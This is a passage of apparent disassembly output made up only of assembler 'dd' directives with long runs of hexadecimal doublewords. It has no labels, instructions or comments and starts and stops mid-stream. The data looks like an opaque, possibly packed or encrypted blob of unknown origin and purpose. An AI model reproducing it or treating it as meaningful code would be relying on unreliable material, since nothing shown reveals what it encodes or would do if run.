32184889h, 5C683194h, 31E5E460h dd 3AB00512h, 7532354h, 20C3868Eh, 0C2542A2Bh, 51B2C530h dd 6038AEDEh, 0EE40687Bh, 0BB440AEDh, 4AC518E4h, 0A1322836h dd 2F26E200h, 98C6FDA5h, 4D700A4h, 40A8E915h, 57077252h dd 0D8817ECEh, 0ED0A6180h, 15C00B8h, 949063A6h, 9C008F1Ch dd 69792B0Bh, 7F109254h, 8D5C0762h, 60E9B957h, 6CA0C633h dd 1266DE1Eh, 0D6ED8FFFh, 5C13A0C1h, 1051B53h, 0C83B5F6Dh dd 0D02BF315h, 271CF7FFh, 0E300DC29h, 8DF43E01h, 0AF3900C5h dd 0E4DE0D80h, 0AD078241h, 0A9FDB72Dh, 0F8165250h, 5FE300D1h dd 15A09FB6h, 9E0377F9h, 699065DFh, 5BE4B0C4h, 66970EA6h dd 0BD6E2Fh, 0DEBE0918h, 0FF008FAFh, 0C605D0D8h, 0F80A04DDh dd 27310F06h, 0A301DEA8h, 8019B7BDh, 0E216B831h, 0D85249h dd 0E5A0B52Bh, 0A3ADF239h, 0F36A9E00h, 0F0C98441h, 13AC0090h dd 75B58FC1h, 0C00D99Fh, 67B4AD79h, 6C0D31h, 45A09516h dd 8E19D527h, 558014A5h, 6B201C4h, 53DA108Ch, 1485F08Dh dd 15531CBAh, 0E45FC05Dh, 0A9222975h, 1903D300h, 62598F20h dd 0D22408CDh, 0C9D91618h, 148C05C0h, 74EFE971h, 53CA34E0h dd 33143000h, 7561A5B1h, 0B31E00BBh, 72661056h, 7E29BA77h dd 0D1C03442h, 1AACA6E8h, 705EB29Ah, 8D622030h, 0C25A141Eh dd 0B5443C14h, 6D080400h, 3A472B24h, 0CE8ACFFAh, 0E0BDC1h dd 0CCC411B3h, 86001D01h, 961F4167h, 910F4Bh, 0A9350DF5h dd 2FE9A1A0h, 7F012B79h, 0B64C24C2h, 0C21D597h, 3E6553E4h dd 0D310C1C6h, 0D841ED2h, 22B3E40Eh, 4330820Ah, 2870031Ch dd 11CE15A8h, 562A1100h, 34A2A9E1h, 8B300EC2h, 138CC1FCh dd 5500C521h, 667F86E1h, 24B33E5Ah, 8B44AEF3h, 0BA80CCABh dd 3921B5C2h, 0A90F0C00h, 8089858Bh, 18ADEE47h, 0A8CED79Fh dd 4318CF5Eh, 769050AAh, 36A2FE48h, 9810BC1Fh, 78630E46h dd 9044A1FCh, 0CA88444Ch, 0DA9D0098h, 0B15686BDh, 48C1AC5Bh dd 361F2C6Dh, 638A420h, 20F03F06h, 0FE0EB003h, 205750ABh dd 0BFA128FAh, 0C708CCF3h, 817F13D1h, 5C9C7805h, 0A7805125h dd 0C1CA6B8Eh, 9DE70C0h, 80DBEDFFh, 6C9DD310h, 78395Dh dd 63B8261h dd 8AC8F907h, 0A5961903h, 98C789EEh, 2E6E1A3h, 48499B76h dd 7A60CB81h, 8D0008A6h, 0ECFD999Eh, 3548F65h, 0E6D7BAD3h dd 0D4035559h, 7EA292F2h, 7D102957h, 7DCA5F04h, 986014h dd 0DCF1CF9Dh, 0E8BED7BFh, 958B3D2Bh, 44D8E300h, 9720FDEh dd 0CC9D580Ch, 444A29F4h, 0C9441CDBh, 0A54D4453h, 0E906E644h dd 10CD4C11h, 8008F867h, 0AC8BFB12h, 48BCF523h, 3F76410Bh dd 200E02DBh, 32158F1Fh, 41F78600h, 73A02AF3h, 0CC3A0080h dd 97CEE50Fh, 0BF1EB438h, 0D70083EEh, 0BA94BC2Eh, 0F163009Eh dd 0D7FEB7Ch, 5E05EA3Eh, 70FC295Fh, 34C83B80h, 0CB260987h dd 9B80BB2Ch, 531950ECh, 378A4000h, 0B485D899h, 0AD83004Dh dd 88FC17F3h, 0ED7563A0h, 5408AE00h, 0E43BCB20h, 0B4060190h dd 41175B1Bh, 2D1180CFh, 546F9B73h, 897000E9h, 16584A1Fh dd 600DC48h, 0FB8AA288h, 1B6293Fh, 0BEBA6B7Ah, 0C86057A8h dd 503C6FB0h, 0DF180D4h, 2BA34224h, 4FA0009Dh, 0C6B03044h dd 0F4A38670h, 0FF3DD398h, 0E9EAAA03h, 986F2E8Dh, 30DEA006h dd 91108F78h, 8201E7F8h, 0A7901FC8h, 1230843Eh, 0D98007Dh dd 74E9300Bh, 1D0F7EA3h, 0B4A9E4DBh, 0D74B00A0h, 0C7254041h dd 74F400CDh, 280B0981h, 87009C91h, 41E682D3h, 3A6BB486h dd 0D0804377h, 0F957B2ACh, 0C7004758h, 9E546261h, 3497696h dd 4FAAF2B0h, 498636FEh, 295CAB30h, 174BA59h, 4910CE38h dd 0DCEE5F8Eh, 0C83E7264h, 0B96A8B8Ch, 0A8330169h, 91E84DD3h dd 0E08007F0h, 0D3BFF1DCh, 0ACB4682h, 8D4E15C8h, 73372C00h dd 353DB407h, 63AD004Dh, 574C4D6h, 0CC0EF9E8h, 4050DEA7h dd 0F7BF7352h, 4826005Bh, 202D03BAh, 5F3EC899h, 0D57C878Dh dd 5B0BB7Ah, 9C4F38h, 0A097E3FCh, 0B98C5D6Dh, 0AC7DB000h dd 0A6246971h, 0E8FB0739h, 0E31CC0C3h, 0CA87372h, 0D0009EDDh dd 8DA72FDBh, 255584h, 0D3F2EA4Ah, 25F165Bh, 0E431103h dd 0A875061Fh, 900D1251h, 0B2A30072h, 8421AE4Fh, 9E4C881Ah dd 34EB0EC6h, 626360D3h, 8238D8h, 4FCCAA90h, 7B5B8E85h dd 970E23ECh, 80F51D78h, 0DB1BB5ECh, 8EAE12A6h, 59100090h dd 982C22B9h, 0A0FCE000h, 0B8E9FB5Eh, 7DAC00F5h, 1342B7B2h dd 30FEC54Ch, 90290300h, 0D2507CB3h, 0F41C0EA7h, 56E0E697h dd 7F1F8FA0h, 926D5E3Ch, 38071D35h, 8F8819Dh, 0C5810F09h dd 0AACBCF5Dh, 0AB63E4h, 81F64FB5h, 39EFD7B7h, 0CDEBE907h dd 9020AF3Dh, 3E1144Ah, 0E0185DFEh, 0ACA0AB62h, 8F00FC2Dh dd 9F5CEE4Bh, 5AB5C5h, 0D3338D19h, 0F986F12Eh, 96D4100h dd 0F5D2D0D6h, 257D07AFh, 0D068D10Ch, 0B7C84AADh, 6F29B500h dd 205364C1h, 7C7F16A6h, 7D340055h, 0E83841BFh, 4E307900h dd 0FB43C9E0h, 0FEFAFDh, 0F7490D3Fh, 0F5BA19F6h, 721CD3Ah dd 459375CCh, 8015A6h, 7E486134h, 0A1241FE5h, 9C21C312h dd 9F2FC003h, 9815B306h, 0FB4033h, 8BAFE1EEh, 5F63FF9Dh dd 492E2500h, 0D67D9FCFh, 26E00167h, 0D28D0B04h, 685CCC20h dd 5A4E7C00h, 0ADB91BCDh, 3D709872h, 27009AB8h, 0A4FC262Dh dd 3C984E18h, 0BD432101h, 0E77CD207h, 0A7848032h, 0D6F28371h dd 0FCCFB798h, 7A00C490h, 0DD2AA591h, 51CBB1h, 0D133F95Dh dd 0BAB4087Fh, 72C89D3Fh, 56106063h, 0D3C1ABACh, 0A3CEA965h dd 9555434h, 0B8F83DB5h, 3360940Fh, 0A8D9365Eh, 50E7A25Ch dd 27005660h, 0D0AC5C9Eh, 0CD8896h, 751353D6h, 576F2B66h dd 4C2AF600h, 0FB7DAE0Ch, 68E83ACBh, 50F0F880h, 69B7609Eh dd 3BD47C52h, 37FF80DEh, 88A432C4h, 1CE700F2h, 0CAA5D55Fh dd 7F002079h, 34D24D29h, 6358DBh, 2BBF5E49h, 550A7C7Ah dd 0AA045200h, 0C27B0B44h, 1F0609F8h, 2D011EFFh, 0D4AF84BDh dd 4E008751h, 92726D40h, 38B14CEBh, 7C80F3FCh, 3891C218h dd 54006A8Dh, 0A5CC398Ah, 0E13717h, 0C57914B1h, 6B3E3F9Ah dd 93FF20C0h, 3C1C36C0h, 1775EF1h, 47B33761h, 0C387120Dh dd 0C620D087h, 0B49858D4h, 6838FA06h, 40E5F4h, 45EDD9ACh dd 40DB010Dh, 4731D200h, 0AB217196h, 4CF60095h, 0DC7C57F2h dd 2D002920h, 5A80BA22h, 307974Dh, 353098C7h, 0EE9842FAh dd 0F0E6C117h, 4D04027Dh, 0B133D72h, 7AC068C0h, 0F49500A7h dd 9A89AEEh, 5A010368h, 4FD7908Ch, 3080D970h, 898004C0h dd 0FF9014D8h, 0D107667Ch, 8384B8Dh, 1D60A690h, 87E50E95h dd 0FD4021EAh, 39F1A9D0h, 0C98D9200h, 451284F5h, 0EF220024h dd 31FBE8D1h, 72006746h, 9CE6E5B6h, 0F1E86B8h, 56A9B573h dd 5E996360h, 0EF019AE7h, 0F268BE12h, 55D0E045h, 9E9C0056h dd 0EB646F92h, 0A3005A2Dh, 5C5E420h, 0EE279C7h, 0EF8A7551h dd 59D0C9A0h, 340078E0h, 0B0C415A1h, 8C1988h, 0E10B777Ch dd 8EDA3EE7h, 0EBF5F71Dh, 0DFA26980h, 24342CB3h, 0F4BFCEh dd 81714363h, 5CBADA29h, 0A33D8200h, 386A119Fh, 19790F03h dd 4940F35Eh, 12EC7BDDh, 0E91EF600h, 18913CAFh, 0A21B00A4h dd 4D6F3A87h, 9E025F68h, 0B68E9CA0h, 25E44127h, 0B8D8ECC8h dd 73B50912h, 0BC027801h, 78C003A4h, 0F034C6Ah, 81C24E32h dd 0C0CCE1h, 6D59FFh, 65722D7Ch, 67F12BD1h, 0B10B39B8h dd 1CAEF0Ah, 50645E80h, 0B52230h, 31A2BC1Fh, 8F91B96Fh dd 0A68A2800h, 0E7C5EA3Bh, 60C300FDh, 0FB0F1DFEh, 0ED006514h dd 0C7FABE03h, 0B8D4F35Bh, 0EEBB909Dh, 340613E1h, 4E1A1F6Fh dd 0E925D967h, 9AAC0024h, 8137AB2Bh, 25473200h, 0EF78CDB9h dd 578C003Fh, 18A29BD8h, 30E8F36h, 40DD3C44h, 0AF527281h dd 69B800FFh, 38A86761h, 0C100E314h, 6ABFC358h, 504136h dd 0C63451DFh, 0B290AA7h, 87392B00h, 2031EE96h, 485D7419h dd 0D301A8FEh, 2CE15C1Dh, 8C82E44Ch, 15E84400h, 0CBFFF7D8h dd 0C6DB0103h, 9D888339h, 8A52DCB2h, 0F3EFED00h, 35380A60h dd 1E0D1EFEh, 0C8F2C057h, 0FA527B93h, 0A178139h, 0D476E27Dh dd 71BE803Eh, 0BC982E51h, 0CDE900EFh, 42B99F2Dh, 39754B27h dd 0F7795900h, 105F9D50h, 0AA4E0E1Ch, 44A03F35h, 481AB105h dd 559D658h, 0A1A0A303h, 0C8A5D40Fh, 0B0C8604Ch, 0C5902EB7h dd 0A43D0101h, 89F68824h, 0B264470h, 4A2734D4h, 0D68FCC00h dd 0E50BF1E8h, 808D8C9Bh, 730A89D4h, 1FCA18D1h, 3B129B4h dd 0E2F75703h, 32B9242h, 180BB278h, 81C05153h, 0BC001AC4h dd 97D06B0Ah, 1CFFE079h, 0C0F2B97Ch, 0DC8295ADh, 427F8F8Dh dd 1C23D600h, 0F081E147h, 0FD4007BBh, 7FB092A3h, 0DE3CEE67h dd 340F9CD5h, 0BA8F52F3h, 0F1A33F60h, 81F26F71h, 0DCA49554h dd 599E3A00h, 5C3983F5h, 3C300BF8h, 96005BAEh, 0AB4D1D13h dd 1ADE2201h, 0A3CBDB26h, 0BEC9C080h, 97CF08B8h, 4CB63800h dd 0EC836810h, 55D400F0h, 0BC60628Dh, 5B399F69h, 806A0E11h dd 52656074h, 1C3865Dh, 0B4491E27h, 302C9AF2h, 4100D0F7h dd 0CDC40C26h, 36A0F2Ah, 0E023DA28h, 0AFA8B24Bh, 0C50092AEh dd 2409970Ah, 0A0D57408h, 1978C8D2h, 0F872DCA6h, 0ECE8FAA1h dd 75606DE9h, 0CF0619CCh, 0C0B7606Bh, 0DEFDFF9Ch, 0FE45F503h dd 0D01B232Fh, 3A017087h, 1F07265h, 0B25667A0h, 0FACBE9B1h dd 0D3D75D60h, 2E3CBB00h, 8A5A27C5h, 4D7491h, 0A41EDAFBh dd 5D1BA667h, 0CB8D0D00h, 0CEFEAB4Ah, 8FE7009Eh, 10B6FFD0h dd 1C006DD5h, 0B4CF7C18h, 0B15558h, 895E9DB0h, 94D42C44h dd 68F01512h, 0AB82F800h dd 24BF18C2h, 3280D0Eh, 0E0BC84ADh, 60E799F0h, 5DAC8750h dd 58688A00h, 4A0AC66Dh, 0F1011E35h, 2B179Fh, 9CDD1D24h dd 0B01CDA3Ah, 4FC0D1ADh, 1067084Eh, 7704EDCh, 25A84B8Ch dd 0E4CC0B3h, 0B500A381h, 93F1746Bh, 98C4766h, 0CF16C02Bh dd 0BABDD480h, 2600A471h, 5346406h, 91AFE3h, 0BF257EB6h dd 7BC23073h, 79000E75h, 57EDE2C6h, 488AD5A3h, 0AA285A41h dd 0DE871190h, 513D8090h, 0F4FC157Ch, 0B0F3003Eh, 0D186C457h dd 0DC00770Ah, 0F4D7887Bh, 377A5978h, 70C15E12h, 7F7379E1h dd 8C3AC628h, 0BD069398h, 8B77A272h, 239E1D68h, 82EB8087h dd 57F4B333h, 48009C9Eh, 812AA24h, 0BEBC1751h, 34F44128h dd 0CD41F836h, 28B6C5E4h, 0A09000CCh, 626EB745h, 42C25826h dd 9B73E900h, 7172698Bh, 0FF5EC000h, 0EDC12A3Fh, 0D6BC18EEh dd 207DA845h, 33721807h, 7720BDCCh, 5D866201h, 3900F80Fh dd 3772DF99h, 0FC008C1Ch, 47D08E0Eh, 941D3ABBh, 43CA1D1Ch dd 0A139FECFh, 5C7014EAh, 9C1C89E8h, 0F64113A6h, 9EC6A84Fh dd 1D213080h, 0E4B2A4Eh, 757CC0C0h, 0EB4F62h, 79674C76h dd 0E1A48C3Eh, 0FC11DC00h, 0A6ED1D9Fh, 9438E1B2h, 871E429Eh dd 32101F3Dh, 0F6020C71h, 2058BB85h, 6AA59002h, 87FB8AA4h dd 1E32B1A0h, 90C3B7h, 0BA1AB9E1h, 0F493D7E7h, 4E49D400h dd 3BCF34B7h, 0B0F600E9h, 0A86659A9h, 1500DCD2h, 0A53C969Ch dd 56451Fh, 0D3FAC4F9h, 0DED8E84Dh, 2955CE40h, 7E023E6h dd 0C7C4BD5Bh, 89FEE6FBh, 18384894h, 3D89378Bh, 1BAA0E95h dd 0C0BC1281h, 0CEAD31D6h, 3E0070C9h, 8A7DA256h, 1092D03h dd 0CAFC2955h, 0FC434AABh, 800002D6h, 0E840CC1Eh, 0B6D049h dd 0D4811492h, 3B697CF6h, 0F864992Ah, 0E0AD5D1Ch, 14F33F04h dd 6B0B2C90h, 4ECD16B3h, 22E480E2h, 7200E72Fh, 0EAE939F7h dd 1C522797h, 0C1C5047Bh, 0D590C4BBh, 0E04180CCh, 1E0ABE43h dd 59351323h, 0DA180027h, 5226CAF7h, 685FC707h, 18008692h dd 2E3856CDh, 95AE55Eh, 9002C947h, 5C40680Dh, 8503490Fh dd 8C446E59h, 5A81E8E0h, 33EE13A0h, 3FB0004Bh, 30580C21h dd 48860903h, 1FD7CFAh, 0F3631388h, 41400215h, 2C2747C4h dd 5CA0E7A0h, 35DCFF4h, 0BC39A5E2h, 70F82143h, 12045E7Ch dd 5BCEFA10h, 40AE2B0Eh, 9A423703h, 9C6097C0h, 8C7DAE01h dd 521AAB5Eh, 0C72896h, 45C30C94h, 5B307A8Bh, 0E6DB18AFh dd 2B280072h, 0FBBA45Dh, 0F8048E25h, 7D7309D4h, 1CE30EC0h dd 0BE2C02EBh, 57B78B7Ah, 0F5F62469h, 2D783010h, 62CCA77h dd 5C00E4B4h, 0D717784Dh, 5D971F2Bh, 0F7448070h, 867DACD2h dd 3CF56A3Bh, 8B7B0523h, 0EC5CD3B4h, 4DE73040h, 48287FFCh dd 0D8009344h, 0B2F49DAFh, 0B700437Dh, 7614DBA0h, 0B7BA9BCCh dd 4E89D5C0h, 661B4C00h, 812DF875h, 0D3620006h, 30FCC9Ch dd 9B0074CFh, 0A6796A63h, 3D932339h, 0AB89AE97h, 0C98F33C0h dd 9C0765h, 5BBC57A0h, 4500C57Ch, 0BCCB989h, 48AFA1DCh dd 287D1516h, 1EB1243h, 0D0EE97FAh, 640E99DAh, 0BC012908h dd 0E6868008h, 2CF4CDDCh, 487C01ADh, 7BF770F0h, 85E8C007h dd 62EB1500h, 99EA5531h, 0BDA9008Fh, 5F63FE41h, 731D3423h dd 25C0B1E0h, 0D87C5859h, 0E720053h, 0D1C22E09h, 77000756h dd 12AD416Fh, 3F6B3032h, 0C500B2DFh, 0FC23B44Ch, 0E217F43Ah dd 2C40D9CDh, 3B6646DAh, 0B08F00DCh, 0BAD7CAD5h, 91003C4Ch dd 0D994391Bh, 2830A8E4h, 70E8D267h, 192B1FB0h, 811070B9h dd 101F9F7h, 6B8EB2A2h, 18702F3Eh, 0E9EE00C3h, 0F404C7F3h dd 8600501Dh, 2D53694Ch, 1FA38D62h, 774175Ah, 50F0654Dh dd 0DFC4A088h, 0E34B3Ch, 98A537DCh, 98592B8Dh, 0E15A0021h dd 0EC55F328h, 950099CEh, 33250CFFh, 237421h, 0E001A09Eh dd 0DEE3C1A5h, 0B6990F0Eh, 0C8D7800Eh, 0FD5EF6h, 0FA6F2AECh dd 1984A8D6h, 0DEB85F50h, 8BEF3300h, 2EB7B3A0h, 5E9200D3h dd 3684ED11h, 0DA0E3D09h, 0AEFB246Fh, 21FFC9BFh, 0DDFA1C50h dd 6FE034h, 43F7956Bh, 0B5E42A6Eh, 14777A00h, 0D89D9730h dd 520B2A6h, 0AD7CC5FBh, 0A84CD344h, 2DE488D4h, 16D91C13h dd 0E5155440h, 0A02A73h, 0A73996E3h, 8B7067B3h, 0D44E792Ch dd 0ECFC80BFh, 2FE0129Eh, 7F5F7438h, 8CEE45h, 3C6413CBh dd 1EAB6281h, 900F285Ah, 0AF00109Ch, 20D995Bh, 0CA00E831h dd 9127F447h, 66B419h, 0FB87C950h, 8B2BC041h, 0D9C6A600h dd 94481822h, 49DB0B4Fh, 0BA009BF0h, 4565097Fh, 742E2C00h dd 0D5895068h, 8C7C02BFh, 355B143Eh, 0A0EE1CC0h, 8C0C4726h dd 0DBC2D04h, 0CB268300h, 6CE7DB27h, 0BA471F3Ch, 33CD4D80h dd 173DE0Ch, 9B0E526Fh, 0F8F3C597h, 1500F655h, 81FF17E2h dd 5E7E5166h, 3168009Eh, 3424B48Eh, 0EAA4C100h, 0F3DE45D2h dd 0C0D71F59h, 6DCB0076h, 0AB329E1Dh, 2B006FEEh, 7F48828Dh dd 0A79766h, 7C8780DAh, 32CF0D4Ah, 0FD0BB1FAh, 25D2301Fh dd 38A3A6E0h, 1710CC80h, 0C801F652h, 0AE0B7109h, 58607F82h dd 8EF4001Dh, 0C7A08789h, 0B400339Dh, 0B16F2B6Dh, 307D2902h dd 2490CD17h, 6004D84Eh, 0A8C6B741h, 3F1BCCC0h, 982800F5h dd 0F4499D95h, 0CF60E671h, 3C0A7E30h, 0B08EC04h, 51A3A790h dd 18239061h, 852B07F0h, 3920D187h, 0C1E21D00h, 37007D0Bh dd 725E6289h, 0E23274Eh, 6A7A7507h, 0A1B42D43h, 5CC1F8A8h dd 3B60E300h, 6261DC2Ah, 11A3007Fh, 0C00F01C4h, 0C21FD3B7h dd 8D961619h, 0FA3E5403h, 0ACC0FCD9h, 2C9DAC1h, 1F6208CDh dd 8448F9C3h, 0E0C0BA8Dh, 9D586C63h, 0A350002Fh, 99554B6h dd 8000C7C5h, 0AC5BF7A5h, 3EA8E3Eh, 0E3FA6408h, 46882191h dd 250F06AAh, 203017B6h, 0B980D1Ch, 1C09A54h, 3EC7EBE9h dd 609D264Ch, 6D006CC5h, 310609BBh, 7E4D3537h, 414507C0h dd 7F222ABh, 6988A1AAh, 36BEC07Dh, 0EBE31F00h, 21F0A006h dd 0C02A4CE4h, 0B2149805h, 968C800Fh, 0AC1CC6F9h, 0C24056EBh dd 0DFC1586Bh, 0D6AB0752h, 11892C61h, 39CBED30h, 0AA298048h dd 5EB2FE08h, 0E9AC42DAh, 8860C92Dh, 6F0C4CD9h, 10CE9C4Dh dd 0B94439EAh, 0CD5C2400h, 3F478775h, 7F0237E2h, 2DEC82D1h dd 0B4F04Dh, 5A09C744h, 3606D628h, 0A0BC3271h, 80E1B108h dd 624601D0h, 60C7E3C3h, 0F58024EFh, 0B6F2E92h, 36483EF2h dd 0E6F14C98h, 0DF087B00h, 6E4A33A2h, 7AC9031Eh, 0CC911972h dd 6A77A6F8h, 0CFB11B03h, 0A2A346h, 0C3496E10h, 0F2E4DD0Ch dd 0E52B4F09h, 609D80F6h, 8167A2h, 1BB0C8A9h, 2841DA02h dd 1A8A8530h, 22F14F7h, 0ADC2D9F9h, 0D463B2BFh, 321D0FB0h dd 1A6BE707h, 0B41091D8h, 1763338h, 0DF78215h, 0C704C954h dd 641BDFB0h, 7BBE4900h, 7C1E1F76h, 671D483Fh, 8069AA13h dd 0F4387904h, 0EE2B401Ch, 8BD4B204h, 2ACBC4C0h, 4CE584Bh dd 523FCC03h, 6C90221Ch, 1F246979h, 0C50F349Fh, 0F28C8058h dd 0E082142h, 0B8B08885h, 0A3457B80h, 9090F9F0h, 7F00CF98h dd 0EDEA0E05h, 2DBD3BFDh, 0DC006581h, 0B4486777h, 27BFBC09h dd 3434015Dh, 2E01B7A0h, 0DF652033h, 450E2B00h, 2A9960A4h dd 444B1265h, 7D208F7Bh, 54C0DC4Ah, 7DBFB88Bh, 516E005Fh dd 53440E33h, 0A61745FCh, 741CD110h, 0B7FF4F40h, 76A0D4h dd 69B36373h, 7B06D734h, 0F20033E8h, 16591994h, 878D58h dd 8C505EAEh, 0C038B27Dh dd 0AA751001h, 7C5916CCh, 64AB60h, 90C6E186h, 7712A9C4h dd 3A0F4AF6h, 0C0EF5575h, 0C7675EA8h, 1E8C3F2Dh, 6A0DB580h dd 0D14CF335h, 557BE91Fh, 4BBCD580h, 3BE533F0h, 160079B6h dd 9CB58E28h, 9200A415h, 0A53220F4h, 3E7649h, 93972AFDh dd 0D44E0DD6h, 9E8A5F07h, 99C03FD3h, 9B8FF2Eh, 5593FE44h dd 9FCC3860h, 0D626C700h, 0F0DDE009h, 90B475CDh, 53FE47h dd 17227545h, 0D6EA355Dh, 0A1F61F00h, 10B38997h, 58EC5Ch dd 195D1CD3h, 3F2798E7h, 94DED01Fh, 0D65760B0h, 1414AD8h dd 729DC498h, 715720A2h, 0A1BBAE16h, 0ADF63007h, 0ADC1B6C5h dd 38808551h, 53163255h, 0A10E8938h, 80B13E6Ch, 0C04BAC28h dd 0BCEC0009h, 4A8FA9F7h, 0A4EA5599h, 88945703h, 132F2ADh dd 3172B559h, 8252B342h, 0C8BF8E91h, 56000F41h, 1C680E7Bh dd 0C16A6200h, 519E5C95h, 308F0CB3h, 58295302h, 0A9650107h dd 16E012D5h, 8AEAB7h, 6FED460Ch, 0B1BFDB20h, 35583200h dd 8E55F089h, 0BCF0048h, 191611FAh, 0E0B8A19Ah, 2C625D00h dd 29789836h, 0CEE8D0h, 96A91748h, 0ABA542Eh, 8BD80200h dd 0B836B4D5h, 31C403CEh, 9E856558h, 0FBD90F80h, 3A2E5101h dd 80299472h, 1FD28BE8h, 0E7A4DA83h, 2CE0D4AEh, 5639874Ah dd 5468C700h, 0AD519430h, 0B45A000Eh, 0A57D061Ch, 8F28ACF9h dd 0A03DC88h, 0B5577E52h, 0EBD4F251h, 507C700h, 18FE59CCh dd 18B084E1h, 2003FD2h, 0AF9FD927h, 0C5CDCBEh, 381EC1B3h dd 0A000ED31h, 0AEC2AD7Fh, 158B6DEh, 0AA97FB5Ah, 9E50EFFFh dd 0A981D661h, 0D690C43h, 318DBBD0h, 0DE819C83h, 717180BFh dd 0E5DC18C0h, 0CF32090Ah, 30100C01h, 29004EFDh, 0AA873E05h dd 0D6450Dh, 40E3E71Eh, 987DA5C4h, 0DF002A74h, 0AC292389h dd 4A0B55Eh, 0BA90779Eh, 0E1A3873Dh, 0ECE8684Eh, 722C99A3h dd 510E6D56h, 0E0836FA7h, 0AAFDED2h, 0E0AFB0E1h, 55220F04h dd 0B2808B30h, 0B3157260h, 3516C200h, 0D39839CAh, 0D579039Ch dd 33E6C562h, 380118D6h, 3B55462Dh, 4F0C652h, 1921867Fh dd 22E92662h, 51B2220Ch, 1184C8F6h, 3050DB6Dh, 0ADB54933h dd 18DA6F06h, 0C5B27562h, 96812601h, 62CA0881h, 20CC34A9h dd 0A230BABEh, 89B3183Bh, 0E1B23370h, 8103EE50h, 8633BCA7h dd 4B383D25h, 0E221FB03h, 28C1ECFDh, 0E011E001h, 0C453B3Eh dd 719AB18Eh, 282C78E3h, 780897B3h, 1FB43023h, 0B2C77B71h dd 0ABBE4EC0h, 52364E68h, 8B0694D5h, 0F84C1B0Dh, 80847137h dd 2853C5E0h, 767F06C0h, 0D037F680h, 0B5759915h, 1F3A788Ch dd 418EF08h, 0D741C3DFh, 0FC587F7Dh, 0F2FAE94Bh, 5595E000h dd 0A8E235A2h, 46EA0012h, 0CCB58A9Bh, 0C6024E52h, 80F738EFh dd 0D99CA03Ah, 330742Fh, 0C6114D62h, 8307384h, 27C421D2h dd 0FE020074h, 6019152Fh, 80224D89h, 228600E6h, 0F7F3B23Ch dd 0BA03639Bh, 6D7FFBD5h, 0BE9EC0AFh, 6A7FE68h, 0D935423Fh dd 3900E1C3h, 92BDFDD8h, 19E4F8FFh, 8F1B73Eh, 0F7218063h dd 4A0DBDF5h, 0E94E006Dh, 9B5073D4h, 80347E0Ch, 99C0818Fh dd 7FA1B8h, 76879F8Eh, 3F89BF31h, 60611490h, 0B1C22AE9h dd 0D6FB850h, 61740E79h, 500070CBh, 1BCF5C0Eh, 9975E000h dd 0C8A26BF9h, 0BF740F87h, 0DFA0CB8Eh, 511CA60Eh, 0EEBE6200h dd 34C012B4h, 89DA60DDh, 75667939h, 25BBD203h, 0A8F3081Bh dd 2575BE3h, 0F28D610Bh, 0E8A0C9ACh, 34F9EC93h, 1F491DE8h dd 79037CB0h, 0B08C0E29h, 0B72900FCh, 0B6D19862h, 4E2435B8h dd 6B80341Eh, 0A70659DAh, 914B1FF0h, 56F10741h, 0FDC52036h dd 3875A92Bh, 2904F4ACh, 3D623274h, 0FA20AE62h, 247421h dd 87B437BBh, 81828FBEh, 26853E18h, 0CE3BC0B8h, 71CEAFA9h dd 5D19B9C0h, 0B85CF653h, 0F8A9000Ah, 0ECBBE696h, 13781884h dd 334EB027h, 0DA70B9C3h, 603FEA6Ch, 14FC90A0h, 8CB161A6h dd 99C5280h, 933F72F0h, 708B072Bh, 0BBB39546h, 0B4A2A8BFh dd 94A500F3h, 0EE552EA3h, 0ECF0CF62h, 6BD7600h, 57B7950Ah dd 0B8721D37h, 637A422Bh, 40D513DFh, 1E713B0Bh, 0C661A5B9h dd 79C72E8Eh, 5FE0A702h, 0C06BBE19h, 0E435FB7Fh, 0E3750CF7h dd 2FF91C33h, 7826CCA4h, 1001815h, 71ABB662h, 0CF670473h dd 908FC29Fh, 2B7E2434h, 662C1D00h, 0CB5BA796h, 0A2DC007Fh dd 8053EC43h, 0CF0CE095h, 58C32DC0h, 0CB6E008Dh, 0F0C93ABAh dd 817730C8h, 4E0067EAh, 11442DF3h, 0A578DEh, 0D52EE269h dd 0ABB2EC49h, 838FCE00h, 77E9D3D2h, 5D2A1C24h, 0E58800FAh dd 3D0A9E3Fh, 0D600B0F8h, 9127FB70h, 0E83E581Eh, 0A222184Bh dd 94487C9Bh, 81442A0Ch, 0C05C08EDh, 8F1CDF21h, 0AC0C65F5h dd 180247ADh, 3C0C00C5h, 42E08325h, 217EB81Ch, 0F41BD001h dd 8E924A6Fh, 2242881h, 8046AC33h, 0CE184239h, 71CF316h dd 8DB5502Dh, 197432Eh, 108C2000h, 0EEAFAECEh, 27E26Ah dd 0A8EACCE9h, 0A089C55Bh, 0C8327836h, 28222931h, 18595968h dd 0AB8B003Fh, 0EF519FB2h, 5001F1B0h, 599C0136h, 0B8914A6Dh dd 0CE419E1Fh, 0CDBCF312h, 3240B00Ch, 0CE1D0060h, 342D0E0Fh dd 7802BF3Dh, 16FB775Dh, 0F1AEE192h, 454D8C40h, 0A65A0343h dd 0EB549DCAh, 800C52E9h, 0FE948410h, 16B43Ch, 58153366h dd 1E99DDF9h, 2272A40Eh, 9C31C3EAh, 304E9877h, 0EDF50355h dd 8E0CB536h, 580A7B80h, 0CB779700h, 2B7321B7h, 115F021Ch dd 0E55D6076h, 96268540h, 0A8174E04h, 71800BD3h, 1DAE88h dd 0AB7BF90Dh, 85909FF0h, 0B1A40700h, 0C96FD423h, 0F1FF004Fh dd 88E643E1h, 0D500FA93h, 55BCDE25h, 9A9681Fh, 869D972Ch dd 0D175F00h, 0DB00A1E4h, 525D3423h, 0E2DA1Dh, 86D6A338h dd 8574D5DFh, 18D604A7h, 10D1B9EEh, 80EBCE7Ah, 358F2DD0h dd 0AE24CDh, 6B1E7933h, 0AD66E96Dh, 0F1127AE6h, 0F806FEE3h dd 2029379Ch, 363B76E7h, 0CA19007Dh, 6EF4D243h, 55230737h dd 6015300Bh, 9773FDABh, 70B80D00h, 5139AD0Ah, 6C57009Bh dd 20FC6D85h, 9D1CAA90h, 0A640DB80h, 0D3F1CE0Ch, 6F98C8h dd 8B97BF68h, 3A9A1036h, 0AA0D0900h, 64D908CCh, 0D1CD2FAEh dd 9100E078h, 0FA353A7Ah, 3C39A298h, 298082DDh, 59AA715Dh dd 99007785h, 8109B14Eh, 0E890AEh, 0B26266DEh, 0E47D2D56h dd 0BF012BE8h, 4A53B3D7h, 5AF8B7F4h, 6CCB00D2h, 63EC9AABh dd 0F5008E3Fh, 4E953C66h, 412534h, 422733C9h, 1A84CB51h dd 80F6F43Eh, 0CE0549F2h, 956D64h, 3FFBCA70h, 0DB19628h dd 1FA76700h, 